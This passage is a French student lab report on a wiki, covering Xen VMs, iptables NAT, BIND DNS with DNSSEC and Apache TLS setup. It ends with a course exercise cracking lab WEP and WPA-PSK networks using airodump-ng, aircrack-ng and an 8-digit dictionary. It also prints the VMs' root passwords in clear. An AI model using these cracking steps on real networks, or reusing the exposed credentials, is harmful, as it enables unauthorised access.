&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12153</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12153"/>
		<updated>2026-02-10T14:59:15Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Cassage WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3&lt;br /&gt;
&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
